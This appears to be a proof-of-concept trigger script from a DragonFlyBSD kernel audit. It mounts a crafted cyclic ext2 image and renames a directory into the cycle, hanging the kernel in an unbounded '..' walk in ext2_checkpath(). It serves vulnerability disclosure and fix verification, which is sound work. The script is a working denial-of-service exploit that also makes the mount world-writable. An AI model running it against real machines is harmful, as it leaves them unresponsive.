โฌข DragonFlyBSD Kernel Audit
DF-0824 / trigger.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-0824 trigger โ€” mount the crafted cyclic ext2 image and rename a dir
# into the cyclic parent, which invokes ext2_checkpath() and loops forever
# on the unbounded `..` walk (sys/vfs/ext2fs/ext2_lookup.c:1212-1241).
#
# Run as root on the DragonFlyBSD guest.
#
# Expected on UNPATCHED (#0): the rename(2) never returns; the guest thread
#   spins in kernel holding the directory vnode, becoming unresponsive. A
#   follow-up ssh times out. SIGKILL cannot stop the kernel-stuck thread.
# Expected on FIXED (#1): rename returns EINVAL promptly (the depth cap
#   trips); the rename(1) tool prints "mv: rename ...: Invalid argument",
#   and the guest stays responsive.
set -e
IMG="${1:-/root/df0824.img}"
MNT=/mnt/df0824

echo "=== DF-0824 trigger ==="
echo "image: $IMG"

# 1. Load ext2fs module (admin mounting ext2 always loads this).
kldload ext2fs 2>/dev/null || true
kldstat -n ext2fs >/dev/null || { echo "ERROR: ext2fs module not loaded"; exit 2; }

# 2. Configure a vnode device backed by the image.
VN=$(vnconfig -c vn "$IMG" 2>/dev/null | awk '{print $1}' | head -1)
# vnconfig -c prints the assigned device; some DragonFly versions differ.
if [ -z "$VN" ]; then
    # fall back: try the bare "vnconfig IMAGE" form
    VN=$(vnconfig "$IMG" 2>&1 | awk '{print $1}' | sed 's/://g' | head -1)
fi
# Worst-case fallback: search for the most-recently attached vn device.
if [ -z "$VN" ] || [ ! -e "/dev/$VN" ]; then
    for v in vn0 vn1 vn2 vn3; do
        if vnconfig -v "/dev/$v" 2>/dev/null | grep -q "$IMG"; then
            VN="$v"; break
        fi
    done
fi
[ -n "$VN" ] || { echo "ERROR: could not attach vn device"; exit 3; }
echo "vn device: $VN"

# 3. Mount the (crafted, cyclic) ext2 image.
mkdir -p "$MNT"
mount -t ext2fs "/dev/$VN" "$MNT"
echo "mounted $VN at $MNT"
ls -la "$MNT"

# 4. World-writable so an unprivileged user can rename (realism: a
#    user-mounted or user-writable ext2 fs).
chmod -R 777 "$MNT" 2>/dev/null || true

# 5. The actual trigger: rename S into A. A's `..` chain is A->B->A->B...
#    Use `timeout` to bound it: on the unpatched kernel the rename hangs in
#    ext2_checkpath forever (timeout kills the wrapper at 8s but the kernel
#    thread keeps spinning); on the fixed kernel ext2_checkpath hits the depth
#    cap and returns EINVAL promptly.
cd "$MNT"
echo "=== running: mv S A/S_moved (bounded by timeout 8) ==="
timeout 8 mv S A/S_moved
MV_RC=$?
cd /
echo "MV_EXIT=$MV_RC   (124=HANG/infinite-loop on unpatched; 1=EINVAL returned promptly on fixed)"
if [ "$MV_RC" = "124" ]; then
    echo "RESULT: HANG (ext2_checkpath infinite loop โ€” unpatched kernel)"
elif [ "$MV_RC" = "1" ]; then
    echo "RESULT: RETURNED (rename completed โ€” EINVAL from depth cap on fixed kernel)"
else
    echo "RESULT: MV_EXIT=$MV_RC (unexpected)"
fi